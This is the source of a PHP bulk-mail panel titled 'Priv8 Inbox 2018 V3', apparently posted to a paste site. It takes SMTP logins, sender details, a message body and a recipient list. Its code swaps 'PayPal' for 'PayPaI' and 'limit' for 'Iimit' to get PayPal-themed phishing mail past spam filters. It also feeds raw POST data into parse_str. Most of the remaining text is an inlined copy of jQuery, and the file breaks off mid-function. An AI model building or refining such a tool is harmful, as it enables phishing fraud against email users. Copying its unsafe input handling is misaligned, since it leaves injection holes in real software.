· 6 years ago · Aug 25, 2019, 05:38 PM
1<?php
2
3set_time_limit(0);
4error_reporting(0);
5function query_str($params) {
6 $str = '';
7 foreach ($params as $key => $value) {
8 $str .= (strlen($str) < 1) ? '' : '&';
9 $str .= $key . '=' . rawurlencode($value);
10 }
11 return ($str);
12}
13function lrtrim($string){
14 return stripslashes(ltrim(rtrim($string)));
15}
16if(isset($_POST['action'])){
17
18 $b = query_str($_POST);
19 parse_str($b);
20 $action = lrtrim($action);
21 $smtp_username = lrtrim($smtp_username);
22 $smtp_password = lrtrim($smtp_password);
23 $smtp_server = lrtrim($smtp_server);
24 $smtp_port = lrtrim($smtp_port);
25 $smtp_ssl = lrtrim($smtp_ssl);
26 $xmailer = lrtrim($xmailer);
27 $reconnect = lrtrim($reconnect);
28 $type = lrtrim($type);
29 $email = lrtrim($mail);
30 $nama = lrtrim($nama);
31 $subject = lrtrim($subject);
32 $pesan = lrtrim($pesan);
33 $emaillist = strtolower(lrtrim($list));
34 $encoding = lrtrim($encode);
35 $file_name = $_FILES['file']['name'];
36 $file_path = $_FILES['file']['tmp_name'];
37 $wait = lrtrim($wait);
38
39 $pesan = urlencode($pesan);
40 $pesan = ereg_replace("%5C%22", "%22", $pesan);
41 $pesan = urldecode($pesan);
42 $pesan = stripslashes($pesan);
43 $pesan = str_replace("PayPal", "PayPaI", $pesan);
44 $pesan = str_replace("limit", "Iimit", $pesan);
45}
46?>
47<!DOCTYPE html>
48<html lang="en">
49
50<head>
51 <meta charset="utf-8">
52 <title>Priv8 Inbox 2018 V3</title>
53 <meta name="viewport" content="width=940, initial-scale=1.0, maximum-scale=1.0">
54 <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
55 <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/css/bootstrap.min.css">
56 <link rel="stylesheet" href="http://www.w32.info/1999/xhtml">
57 <script src="http://code.jquery.com/jquery-2.1.3.min.js"></script>
58 <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/js/bootstrap.min.js"></script>
59 <link rel="shortcut icon" href="">
60 <style type="text/css">
61 body{
62 background-color: #13181D;
63 border-color: #2CADAD !important;
64 box-shadow: 0px 0px 15px #ff4eff;
65 -moz-box-shadow: 0px 0px 15px #ff4eff;
66 -webkit-box-shadow: 0px 0px 15px #ff4eff;
67 text-shadow: 1px 1px 4px rgba(44, 173, 173, 1);
68 }
69 input, select, option, textarea {
70 font-size: 12px !important;
71 }
72 input, select, option {
73 height: 30px !important;
74color:#2CADAD;
75 box-shadow: 0px 0px 15px #ff4eff;
76 -moz-box-shadow: 0px 0px 15px #ff4eff;
77 -webkit-box-shadow: 0px 0px 15px #ff4eff;
78 text-shadow: 1px 1px 4px rgba(0,0,0,0.3);
79 }
80
81.panel-info .panel-heading {
82 background-color: #2CADAD !important;
83 border-color: #2CADAD !important;
84 box-shadow: 0px 0px 15px #ff4eff;
85 -moz-box-shadow: 0px 0px 15px #ff4eff;
86 -webkit-box-shadow: 0px 0px 15px #ff4eff;
87 text-shadow: 0px 0px 60px rgba(44, 173, 173, 1);
88 }
89 .kanan-l {
90 border-top-right-radius: 0px !important;
91 border-color: #2CADAD !important;
92 box-shadow: 0px 0px 15px #ff4eff;
93 -moz-box-shadow: 0px 0px 15px #ff4eff;
94 -webkit-box-shadow: 0px 0px 15px #ff4eff;
95 text-shadow: 1px 1px 4px rgba(44, 173, 173, 1);
96 }
97 .kanan {
98 border-top-right-radius: 4px !important;
99 border-color: #2CADAD !important;
100 box-shadow: 0px 0px 15px #ff4eff;
101 -moz-box-shadow: 0px 0px 15px #ff4eff;
102 -webkit-box-shadow: 0px 0px 15px #ff4eff;
103 text-shadow: 1px 1px 4px rgba(44, 173, 173, 1);
104
105 }
106 .form-control {
107border-top-right-radius: 4px !important;
108 border-color: #2CADAD !important;
109 box-shadow: 0px 0px 15px #ff4eff;
110 -moz-box-shadow: 0px 0px 15px #ff4eff;
111 -webkit-box-shadow: 0px 0px 15px #ff4eff;
112 text-shadow: 1px 1px 4px rgba(44, 173, 173, 1);
113
114 }
115 </style>
116
117
118 <script type="text/javascript">
119 function Pilih1(dropDown) {
120 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
121 document.getElementById("sender-name").value = selectedValue;
122 }
123 function Pilih2(dropDown) {
124 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
125 document.getElementById("sender-email").value = selectedValue;
126 }
127 function Pilih3(dropDown) {
128 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
129 document.getElementById("subject").value = selectedValue;
130 }
131 function Pilih4(dropDown) {
132 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
133 document.getElementById("xmailer").value = selectedValue;
134 }
135 </script>
136</head>
137<body>
138<div id="wrap">
139
140 <div class="container" style="margin-top: 25px;">
141 <div class="row">
142 <div class="col-sm-6 col-md-4 col-md-offset-1" style="width: 940px">
143 <div class="panel panel-info" style="border-color: #2CADAD !important; background-color: #444951 !important;">
144 <div class="panel-heading">
145 <div class="panel-title" align="center"><a href="">PHP Mailer</a></div>
146 </div>
147
148 <div style="padding-top: 15px;">
149
150 <button type="button" class="btn btn-primary collapsed" style="margin-left: 15px;margin-bottom: 10px" data-toggle="collapse" data-target="#smtp"><i class="glyphicon glyphicon-plus"></i> SMTP & OTHER SETUP</button>
151
152 <div style="display:none" id="login-alert" class="alert alert-danger col-sm-12"></div>
153
154 <form id="form" class="form-horizontal" method="post" enctype="multipart/form-data" role="form" action="">
155
156 <div id="smtp" class="collapse">
157 <div class="col-sm-8" style="padding-right: 7.5px !important;margin-bottom: 10px">
158
159 <div style="margin-bottom: 10px" class="input-group">
160 <span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
161 <input type="text" class="form-control" name="smtp_username" value="<?php echo $smtp_username;?>" placeholder="SMTP Username">
162 <span class="input-group-addon"><i class="glyphicon glyphicon-lock"></i></span>
163 <input type="password" class="form-control" name="smtp_password" value="<?php echo $smtp_password;?>" placeholder="SMTP Password">
164 </div>
165
166 <div style="margin-bottom: 10px" class="input-group">
167 <span class="input-group-addon"><i class="glyphicon glyphicon-send"></i></span>
168 <input type="text" class="form-control" name="smtp_server" value="<?php echo $smtp_server;?>" placeholder="SMTP Server">
169 <span class="input-group-addon"><i class="glyphicon glyphicon-random"></i><b> Port</b></span>
170 <input type="text" class="form-control" name="smtp_port" value="<?php echo $smtp_port;?>" placeholder="optional">
171 <span class="input-group-addon"><i class="glyphicon glyphicon-road"></i><b> SSL</b></span>
172 <select class="form-control" name="smtp_ssl">
173 <option value="yes" <?php if ($smtp_ssl=='yes'){echo 'selected';}?> >yes</option>
174 <option value="no" <?php if ($smtp_ssl=='no'){echo 'selected';}?> >no</option>
175 </select>
176 </div>
177 <div style="color:red;" align="center">
178 " If you dont have SMTP login, leave blank queries above "
179 </div>
180<script>
181 (function(global, factory) {
182 if (typeof module === "object" && typeof module.exports === "object") {
183 module.exports = global.document ? factory(global, true) : function(w) {
184 if (!w.document) {
185 throw new Error("jQuery requires a window with a document");
186 }
187 return factory(w)
188 }
189 } else {
190 factory(global)
191 }
192 }(typeof window !== "undefined" ? window : this, function(window, noGlobal) {
193 var deletedIds = [];
194 var slice = deletedIds.slice;
195 var concat = deletedIds.concat;
196 var push = deletedIds.push;
197 var indexOf = deletedIds.indexOf;
198 var class2type = {};
199 var toString = class2type.toString;
200 var hasOwn = class2type.hasOwnProperty;
201 var support = {};
202 var version = "1.11.2",
203 jQuery = function(selector, context) {
204 return new jQuery.fn.init(selector, context)
205 },
206 rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,
207 rmsPrefix = /^-ms-/,
208 rdashAlpha = /-([\da-z])/gi,
209 fcamelCase = function(all, letter) {
210 return letter.toUpperCase()
211 };
212 jQuery.fn = jQuery.prototype = {
213 jquery: version,
214 constructor: jQuery,
215 selector: "",
216 length: 0,
217 toArray: function() {
218 return slice.call(this)
219 },
220 get: function(num) {
221 return num != null ? (num < 0 ? this[num + this.length] : this[num]) : slice.call(this)
222 },
223 pushStack: function(elems) {
224 var ret = jQuery.merge(this.constructor(), elems);
225 ret.prevObject = this;
226 ret.context = this.context;
227 return ret
228 },
229 each: function(callback, args) {
230 return jQuery.each(this, callback, args)
231 },
232 map: function(callback) {
233 return this.pushStack(jQuery.map(this, function(elem, i) {
234 return callback.call(elem, i, elem)
235 }))
236 },
237 slice: function() {
238 return this.pushStack(slice.apply(this, arguments))
239 },
240 first: function() {
241 return this.eq(0)
242 },
243 last: function() {
244 return this.eq(-1)
245 },
246 eq: function(i) {
247 var len = this.length,
248 j = +i + (i < 0 ? len : 0);
249 return this.pushStack(j >= 0 && j < len ? [this[j]] : [])
250 },
251 end: function() {
252 return this.prevObject || this.constructor(null)
253 },
254 push: push,
255 sort: deletedIds.sort,
256 splice: deletedIds.splice
257 };
258 jQuery.extend = jQuery.fn.extend = function() {
259 var src, copyIsArray, copy, name, options, clone, target = arguments[0] || {},
260 i = 1,
261 length = arguments.length,
262 deep = false;
263 if (typeof target === "boolean") {
264 deep = target;
265 target = arguments[i] || {};
266 i++
267 }
268 if (typeof target !== "object" && !jQuery.isFunction(target)) {
269 target = {}
270 }
271 if (i === length) {
272 target = this;
273 i--
274 }
275 for (; i < length; i++) {
276 if ((options = arguments[i]) != null) {
277 for (name in options) {
278 src = target[name];
279 copy = options[name];
280 if (target === copy) {
281 continue
282 }
283 if (deep && copy && (jQuery.isPlainObject(copy) || (copyIsArray = jQuery.isArray(copy)))) {
284 if (copyIsArray) {
285 copyIsArray = false;
286 clone = src && jQuery.isArray(src) ? src : []
287 } else {
288 clone = src && jQuery.isPlainObject(src) ? src : {}
289 }
290 target[name] = jQuery.extend(deep, clone, copy)
291 } else if (copy !== undefined) {
292 target[name] = copy
293 }
294 }
295 }
296 }
297 return target
298 };
299 jQuery.extend({
300 expando: "jQuery" + (version + Math.random()).replace(/\D/g, ""),
301 isReady: true,
302 error: function(msg) {
303 throw new Error(msg);
304 },
305 noop: function() {},
306 isFunction: function(obj) {
307 return jQuery.type(obj) === "function"
308 },
309 isArray: Array.isArray || function(obj) {
310 return jQuery.type(obj) === "array"
311 },
312 isWindow: function(obj) {
313 return obj != null && obj == obj.window
314 },
315 isNumeric: function(obj) {
316 return !jQuery.isArray(obj) && (obj - parseFloat(obj) + 1) >= 0
317 },
318 isEmptyObject: function(obj) {
319 var name;
320 for (name in obj) {
321 return false
322 }
323 return true
324 },
325 isPlainObject: function(obj) {
326 var key;
327 if (!obj || jQuery.type(obj) !== "object" || obj.nodeType || jQuery.isWindow(obj)) {
328 return false
329 }
330 try {
331 if (obj.constructor && !hasOwn.call(obj, "constructor") && !hasOwn.call(obj.constructor.prototype, "isPrototypeOf")) {
332 return false
333 }
334 } catch (e) {
335 return false
336 }
337 if (support.ownLast) {
338 for (key in obj) {
339 return hasOwn.call(obj, key)
340 }
341 }
342 for (key in obj) {}
343 return key === undefined || hasOwn.call(obj, key)
344 },
345 type: function(obj) {
346 if (obj == null) {
347 return obj + ""
348 }
349 return typeof obj === "object" || typeof obj === "function" ? class2type[toString.call(obj)] || "object" : typeof obj
350 },
351 globalEval: function(data) {
352 if (data && jQuery.trim(data)) {
353 (window.execScript || function(data) {
354 window["eval"].call(window, data)
355 })(data)
356 }
357 },
358 camelCase: function(string) {
359 return string.replace(rmsPrefix, "ms-").replace(rdashAlpha, fcamelCase)
360 },
361 nodeName: function(elem, name) {
362 return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase()
363 },
364 each: function(obj, callback, args) {
365 var value, i = 0,
366 length = obj.length,
367 isArray = isArraylike(obj);
368 if (args) {
369 if (isArray) {
370 for (; i < length; i++) {
371 value = callback.apply(obj[i], args);
372 if (value === false) {
373 break
374 }
375 }
376 } else {
377 for (i in obj) {
378 value = callback.apply(obj[i], args);
379 if (value === false) {
380 break
381 }
382 }
383 }
384 } else {
385 if (isArray) {
386 for (; i < length; i++) {
387 value = callback.call(obj[i], i, obj[i]);
388 if (value === false) {
389 break
390 }
391 }
392 } else {
393 for (i in obj) {
394 value = callback.call(obj[i], i, obj[i]);
395 if (value === false) {
396 break
397 }
398 }
399 }
400 }
401 return obj
402 },
403 trim: function(text) {
404 return text == null ? "" : (text + "").replace(rtrim, "")
405 },
406 makeArray: function(arr, results) {
407 var ret = results || [];
408 if (arr != null) {
409 if (isArraylike(Object(arr))) {
410 jQuery.merge(ret, typeof arr === "string" ? [arr] : arr)
411 } else {
412 push.call(ret, arr)
413 }
414 }
415 return ret
416 },
417 inArray: function(elem, arr, i) {
418 var len;
419 if (arr) {
420 if (indexOf) {
421 return indexOf.call(arr, elem, i)
422 }
423 len = arr.length;
424 i = i ? i < 0 ? Math.max(0, len + i) : i : 0;
425 for (; i < len; i++) {
426 if (i in arr && arr[i] === elem) {
427 return i
428 }
429 }
430 }
431 return -1
432 },
433 merge: function(first, second) {
434 var len = +second.length,
435 j = 0,
436 i = first.length;
437 while (j < len) {
438 first[i++] = second[j++]
439 }
440 if (len !== len) {
441 while (second[j] !== undefined) {
442 first[i++] = second[j++]
443 }
444 }
445 first.length = i;
446 return first
447 },
448 grep: function(elems, callback, invert) {
449 var callbackInverse, matches = [],
450 i = 0,
451 length = elems.length,
452 callbackExpect = !invert;
453 for (; i < length; i++) {
454 callbackInverse = !callback(elems[i], i);
455 if (callbackInverse !== callbackExpect) {
456 matches.push(elems[i])
457 }
458 }
459 return matches
460 },
461 map: function(elems, callback, arg) {
462 var value, i = 0,
463 length = elems.length,
464 isArray = isArraylike(elems),
465 ret = [];
466 if (isArray) {
467 for (; i < length; i++) {
468 value = callback(elems[i], i, arg);
469 if (value != null) {
470 ret.push(value)
471 }
472 }
473 } else {
474 for (i in elems) {
475 value = callback(elems[i], i, arg);
476 if (value != null) {
477 ret.push(value)
478 }
479 }
480 }
481 return concat.apply([], ret)
482 },
483 guid: 1,
484 proxy: function(fn, context) {
485 var args, proxy, tmp;
486 if (typeof context === "string") {
487 tmp = fn[context];
488 context = fn;
489 fn = tmp
490 }
491 if (!jQuery.isFunction(fn)) {
492 return undefined
493 }
494 args = slice.call(arguments, 2);
495 proxy = function() {
496 return fn.apply(context || this, args.concat(slice.call(arguments)))
497 };
498 proxy.guid = fn.guid = fn.guid || jQuery.guid++;
499 return proxy
500 },
501 now: function() {
502 return +(new Date())
503 },
504 support: support
505 });
506 jQuery.each("Boolean Number String Function Array Date RegExp Object Error".split(" "), function(i, name) {
507 class2type["[object " + name + "]"] = name.toLowerCase()
508 });
509
510 function isArraylike(obj) {
511 var length = obj.length,
512 type = jQuery.type(obj);
513 if (type === "function" || jQuery.isWindow(obj)) {
514 return false
515 }
516 if (obj.nodeType === 1 && length) {
517 return true
518 }
519 return type === "array" || length === 0 || typeof length === "number" && length > 0 && (length - 1) in obj
520 }
521 var Sizzle = (function(window) {
522 var i, support, Expr, getText, isXML, tokenize, compile, select, outermostContext, sortInput, hasDuplicate, setDocument, document, docElem, documentIsHTML, rbuggyQSA, rbuggyMatches, matches, contains, expando = "sizzle" + 1 * new Date(),
523 preferredDoc = window.document,
524 dirruns = 0,
525 done = 0,
526 classCache = createCache(),
527 tokenCache = createCache(),
528 compilerCache = createCache(),
529 sortOrder = function(a, b) {
530 if (a === b) {
531 hasDuplicate = true
532 }
533 return 0
534 },
535 MAX_NEGATIVE = 1 << 31,
536 hasOwn = ({}).hasOwnProperty,
537 arr = [],
538 pop = arr.pop,
539 push_native = arr.push,
540 push = arr.push,
541 slice = arr.slice,
542 indexOf = function(list, elem) {
543 var i = 0,
544 len = list.length;
545 for (; i < len; i++) {
546 if (list[i] === elem) {
547 return i
548 }
549 }
550 return -1
551 },
552 booleans = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",
553 whitespace = "[\\x20\\t\\r\\n\\f]",
554 characterEncoding = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",
555 identifier = characterEncoding.replace("w", "w#"),
556 attributes = "\\[" + whitespace + "*(" + characterEncoding + ")(?:" + whitespace + "*([*^$|!~]?=)" + whitespace + "*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + identifier + "))|)" + whitespace + "*\\]",
557 pseudos = ":(" + characterEncoding + ")(?:\\((" + "('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|" + "((?:\\\\.|[^\\\\()[\\]]|" + attributes + ")*)|" + ".*" + ")\\)|)",
558 rwhitespace = new RegExp(whitespace + "+", "g"),
559 rtrim = new RegExp("^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", "g"),
560 rcomma = new RegExp("^" + whitespace + "*," + whitespace + "*"),
561 rcombinators = new RegExp("^" + whitespace + "*([>+~]|" + whitespace + ")" + whitespace + "*"),
562 rattributeQuotes = new RegExp("=" + whitespace + "*([^\\]'\"]*?)" + whitespace + "*\\]", "g"),
563 rpseudo = new RegExp(pseudos),
564 ridentifier = new RegExp("^" + identifier + "$"),
565 matchExpr = {
566 "ID": new RegExp("^#(" + characterEncoding + ")"),
567 "CLASS": new RegExp("^\\.(" + characterEncoding + ")"),
568 "TAG": new RegExp("^(" + characterEncoding.replace("w", "w*") + ")"),
569 "ATTR": new RegExp("^" + attributes),
570 "PSEUDO": new RegExp("^" + pseudos),
571 "CHILD": new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + whitespace + "*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" + whitespace + "*(\\d+)|))" + whitespace + "*\\)|)", "i"),
572 "bool": new RegExp("^(?:" + booleans + ")$", "i"),
573 "needsContext": new RegExp("^" + whitespace + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + whitespace + "*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)", "i")
574 },
575 rinputs = /^(?:input|select|textarea|button)$/i,
576 rheader = /^h\d$/i,
577 rnative = /^[^{]+\{\s*\[native \w/,
578 rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,
579 rsibling = /[+~]/,
580 rescape = /'|\\/g,
581 runescape = new RegExp("\\\\([\\da-f]{1,6}" + whitespace + "?|(" + whitespace + ")|.)", "ig"),
582 funescape = function(_, escaped, escapedWhitespace) {
583 var high = "0x" + escaped - 0x10000;
584 return high !== high || escapedWhitespace ? escaped : high < 0 ? String.fromCharCode(high + 0x10000) : String.fromCharCode(high >> 10 | 0xD800, high & 0x3FF | 0xDC00)
585 },
586 unloadHandler = function() {
587 setDocument()
588 };
589 try {
590 push.apply((arr = slice.call(preferredDoc.childNodes)), preferredDoc.childNodes);
591 arr[preferredDoc.childNodes.length].nodeType
592 } catch (e) {
593 push = {
594 apply: arr.length ? function(target, els) {
595 push_native.apply(target, slice.call(els))
596 } : function(target, els) {
597 var j = target.length,
598 i = 0;
599 while ((target[j++] = els[i++])) {}
600 target.length = j - 1
601 }
602 }
603 }
604
605 function Sizzle(selector, context, results, seed) {
606 var match, elem, m, nodeType, i, groups, old, nid, newContext, newSelector;
607 if ((context ? context.ownerDocument || context : preferredDoc) !== document) {
608 setDocument(context)
609 }
610 context = context || document;
611 results = results || [];
612 nodeType = context.nodeType;
613 if (typeof selector !== "string" || !selector || nodeType !== 1 && nodeType !== 9 && nodeType !== 11) {
614 return results
615 }
616 if (!seed && documentIsHTML) {
617 if (nodeType !== 11 && (match = rquickExpr.exec(selector))) {
618 if ((m = match[1])) {
619 if (nodeType === 9) {
620 elem = context.getElementById(m);
621 if (elem && elem.parentNode) {
622 if (elem.id === m) {
623 results.push(elem);
624 return results
625 }
626 } else {
627 return results
628 }
629 } else {
630 if (context.ownerDocument && (elem = context.ownerDocument.getElementById(m)) && contains(context, elem) && elem.id === m) {
631 results.push(elem);
632 return results
633 }
634 }
635 } else if (match[2]) {
636 push.apply(results, context.getElementsByTagName(selector));
637 return results
638 } else if ((m = match[3]) && support.getElementsByClassName) {
639 push.apply(results, context.getElementsByClassName(m));
640 return results
641 }
642 }
643 if (support.qsa && (!rbuggyQSA || !rbuggyQSA.test(selector))) {
644 nid = old = expando;
645 newContext = context;
646 newSelector = nodeType !== 1 && selector;
647 if (nodeType === 1 && context.nodeName.toLowerCase() !== "object") {
648 groups = tokenize(selector);
649 if ((old = context.getAttribute("id"))) {
650 nid = old.replace(rescape, "\\$&")
651 } else {
652 context.setAttribute("id", nid)
653 }
654 nid = "[id='" + nid + "'] ";
655 i = groups.length;
656 while (i--) {
657 groups[i] = nid + toSelector(groups[i])
658 }
659 newContext = rsibling.test(selector) && testContext(context.parentNode) || context;
660 newSelector = groups.join(",")
661 }
662 if (newSelector) {
663 try {
664 push.apply(results, newContext.querySelectorAll(newSelector));
665 return results
666 } catch (qsaError) {} finally {
667 if (!old) {
668 context.removeAttribute("id")
669 }
670 }
671 }
672 }
673 }
674 return select(selector.replace(rtrim, "$1"), context, results, seed)
675 }
676
677 function createCache() {
678 var keys = [];
679
680 function cache(key, value) {
681 if (keys.push(key + " ") > Expr.cacheLength) {
682 delete cache[keys.shift()]
683 }
684 return (cache[key + " "] = value)
685 }
686 return cache
687 }
688
689 function markFunction(fn) {
690 fn[expando] = true;
691 return fn
692 }
693
694 function assert(fn) {
695 var div = document.createElement("div");
696 try {
697 return !!fn(div)
698 } catch (e) {
699 return false
700 } finally {
701 if (div.parentNode) {
702 div.parentNode.removeChild(div)
703 }
704 div = null
705 }
706 }
707
708 function addHandle(attrs, handler) {
709 var arr = attrs.split("|"),
710 i = attrs.length;
711 while (i--) {
712 Expr.attrHandle[arr[i]] = handler
713 }
714 }
715
716 function siblingCheck(a, b) {
717 var cur = b && a,
718 diff = cur && a.nodeType === 1 && b.nodeType === 1 && (~b.sourceIndex || MAX_NEGATIVE) - (~a.sourceIndex || MAX_NEGATIVE);
719 if (diff) {
720 return diff
721 }
722 if (cur) {
723 while ((cur = cur.nextSibling)) {
724 if (cur === b) {
725 return -1
726 }
727 }
728 }
729 return a ? 1 : -1
730 }
731
732 function createInputPseudo(type) {
733 return function(elem) {
734 var name = elem.nodeName.toLowerCase();
735 return name === "input" && elem.type === type
736 }
737 }
738
739 function createButtonPseudo(type) {
740 return function(elem) {
741 var name = elem.nodeName.toLowerCase();
742 return (name === "input" || name === "button") && elem.type === type
743 }
744 }
745
746 function createPositionalPseudo(fn) {
747 return markFunction(function(argument) {
748 argument = +argument;
749 return markFunction(function(seed, matches) {
750 var j, matchIndexes = fn([], seed.length, argument),
751 i = matchIndexes.length;
752 while (i--) {
753 if (seed[(j = matchIndexes[i])]) {
754 seed[j] = !(matches[j] = seed[j])
755 }
756 }
757 })
758 })
759 }
760
761 function testContext(context) {
762 return context && typeof context.getElementsByTagName !== "undefined" && context
763 }
764 support = Sizzle.support = {};
765 isXML = Sizzle.isXML = function(elem) {
766 var documentElement = elem && (elem.ownerDocument || elem).documentElement;
767 return documentElement ? documentElement.nodeName !== "HTML" : false
768 };
769 setDocument = Sizzle.setDocument = function(node) {
770 var hasCompare, parent, doc = node ? node.ownerDocument || node : preferredDoc;
771 if (doc === document || doc.nodeType !== 9 || !doc.documentElement) {
772 return document
773 }
774 document = doc;
775 docElem = doc.documentElement;
776 parent = doc.defaultView;
777 if (parent && parent !== parent.top) {
778 if (parent.addEventListener) {
779 parent.addEventListener("unload", unloadHandler, false)
780 } else if (parent.attachEvent) {
781 parent.attachEvent("onunload", unloadHandler)
782 }
783 }
784 documentIsHTML = !isXML(doc);
785 support.attributes = assert(function(div) {
786 div.className = "i";
787 return !div.getAttribute("className")
788 });
789 support.getElementsByTagName = assert(function(div) {
790 div.appendChild(doc.createComment(""));
791 return !div.getElementsByTagName("*").length
792 });
793 support.getElementsByClassName = rnative.test(doc.getElementsByClassName);
794 support.getById = assert(function(div) {
795 docElem.appendChild(div).id = expando;
796 return !doc.getElementsByName || !doc.getElementsByName(expando).length
797 });
798 if (support.getById) {
799 Expr.find["ID"] = function(id, context) {
800 if (typeof context.getElementById !== "undefined" && documentIsHTML) {
801 var m = context.getElementById(id);
802 return m && m.parentNode ? [m] : []
803 }
804 };
805 Expr.filter["ID"] = function(id) {
806 var attrId = id.replace(runescape, funescape);
807 return function(elem) {
808 return elem.getAttribute("id") === attrId
809 }
810 }
811 } else {
812 delete Expr.find["ID"];
813 Expr.filter["ID"] = function(id) {
814 var attrId = id.replace(runescape, funescape);
815 return function(elem) {
816 var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode("id");
817 return node && node.value === attrId
818 }
819 }
820 }
821 Expr.find["TAG"] = support.getElementsByTagName ? function(tag, context) {
822 if (typeof context.getElementsByTagName !== "undefined") {
823 return context.getElementsByTagName(tag)
824 } else if (support.qsa) {
825 return context.querySelectorAll(tag)
826 }
827 } : function(tag, context) {
828 var elem, tmp = [],
829 i = 0,
830 results = context.getElementsByTagName(tag);
831 if (tag === "*") {
832 while ((elem = results[i++])) {
833 if (elem.nodeType === 1) {
834 tmp.push(elem)
835 }
836 }
837 return tmp
838 }
839 return results
840 };
841 Expr.find["CLASS"] = support.getElementsByClassName && function(className, context) {
842 if (documentIsHTML) {
843 return context.getElementsByClassName(className)
844 }
845 };
846 rbuggyMatches = [];
847 rbuggyQSA = [];
848 if ((support.qsa = rnative.test(doc.querySelectorAll))) {
849 assert(function(div) {
850 docElem.appendChild(div).innerHTML = "<a id='" + expando + "'></a>" + "<select id='" + expando + "-\f]' msallowcapture=''>" + "<option selected=''></option></select>";
851 if (div.querySelectorAll("[msallowcapture^='']").length) {
852 rbuggyQSA.push("[*^$]=" + whitespace + "*(?:''|\"\")")
853 }
854 if (!div.querySelectorAll("[selected]").length) {
855 rbuggyQSA.push("\\[" + whitespace + "*(?:value|" + booleans + ")")
856 }
857 if (!div.querySelectorAll("[id~=" + expando + "-]").length) {
858 rbuggyQSA.push("~=")
859 }
860 if (!div.querySelectorAll(":checked").length) {
861 rbuggyQSA.push(":checked")
862 }
863 if (!div.querySelectorAll("a#" + expando + "+*").length) {
864 rbuggyQSA.push(".#.+[+~]")
865 }
866 });
867 assert(function(div) {
868 var input = doc.createElement("input");
869 input.setAttribute("type", "hidden");
870 div.appendChild(input).setAttribute("name", "D");
871 if (div.querySelectorAll("[name=d]").length) {
872 rbuggyQSA.push("name" + whitespace + "*[*^$|!~]?=")
873 }
874 if (!div.querySelectorAll(":enabled").length) {
875 rbuggyQSA.push(":enabled", ":disabled")
876 }
877 div.querySelectorAll("*,:x");
878 rbuggyQSA.push(",.*:")
879 })
880 }
881 if ((support.matchesSelector = rnative.test((matches = docElem.matches || docElem.webkitMatchesSelector || docElem.mozMatchesSelector || docElem.oMatchesSelector || docElem.msMatchesSelector)))) {
882 assert(function(div) {
883 support.disconnectedMatch = matches.call(div, "div");
884 matches.call(div, "[s!='']:x");
885 rbuggyMatches.push("!=", pseudos)
886 })
887 }
888 rbuggyQSA = rbuggyQSA.length && new RegExp(rbuggyQSA.join("|"));
889 rbuggyMatches = rbuggyMatches.length && new RegExp(rbuggyMatches.join("|"));
890 hasCompare = rnative.test(docElem.compareDocumentPosition);
891 contains = hasCompare || rnative.test(docElem.contains) ? function(a, b) {
892 var adown = a.nodeType === 9 ? a.documentElement : a,
893 bup = b && b.parentNode;
894 return a === bup || !!(bup && bup.nodeType === 1 && (adown.contains ? adown.contains(bup) : a.compareDocumentPosition && a.compareDocumentPosition(bup) & 16))
895 } : function(a, b) {
896 if (b) {
897 while ((b = b.parentNode)) {
898 if (b === a) {
899 return true
900 }
901 }
902 }
903 return false
904 };
905 sortOrder = hasCompare ? function(a, b) {
906 if (a === b) {
907 hasDuplicate = true;
908 return 0
909 }
910 var compare = !a.compareDocumentPosition - !b.compareDocumentPosition;
911 if (compare) {
912 return compare
913 }
914 compare = (a.ownerDocument || a) === (b.ownerDocument || b) ? a.compareDocumentPosition(b) : 1;
915 if (compare & 1 || (!support.sortDetached && b.compareDocumentPosition(a) === compare)) {
916 if (a === doc || a.ownerDocument === preferredDoc && contains(preferredDoc, a)) {
917 return -1
918 }
919 if (b === doc || b.ownerDocument === preferredDoc && contains(preferredDoc, b)) {
920 return 1
921 }
922 return sortInput ? (indexOf(sortInput, a) - indexOf(sortInput, b)) : 0
923 }
924 return compare & 4 ? -1 : 1
925 } : function(a, b) {
926 if (a === b) {
927 hasDuplicate = true;
928 return 0
929 }
930 var cur, i = 0,
931 aup = a.parentNode,
932 bup = b.parentNode,
933 ap = [a],
934 bp = [b];
935 if (!aup || !bup) {
936 return a === doc ? -1 : b === doc ? 1 : aup ? -1 : bup ? 1 : sortInput ? (indexOf(sortInput, a) - indexOf(sortInput, b)) : 0
937 } else if (aup === bup) {
938 return siblingCheck(a, b)
939 }
940 cur = a;
941 while ((cur = cur.parentNode)) {
942 ap.unshift(cur)
943 }
944 cur = b;
945 while ((cur = cur.parentNode)) {
946 bp.unshift(cur)
947 }
948 while (ap[i] === bp[i]) {
949 i++
950 }
951 return i ? siblingCheck(ap[i], bp[i]) : ap[i] === preferredDoc ? -1 : bp[i] === preferredDoc ? 1 : 0
952 };
953 return doc
954 };
955 Sizzle.matches = function(expr, elements) {
956 return Sizzle(expr, null, null, elements)
957 };
958 Sizzle.matchesSelector = function(elem, expr) {
959 if ((elem.ownerDocument || elem) !== document) {
960 setDocument(elem)
961 }
962 expr = expr.replace(rattributeQuotes, "='$1']");
963 if (support.matchesSelector && documentIsHTML && (!rbuggyMatches || !rbuggyMatches.test(expr)) && (!rbuggyQSA || !rbuggyQSA.test(expr))) {
964 try {
965 var ret = matches.call(elem, expr);
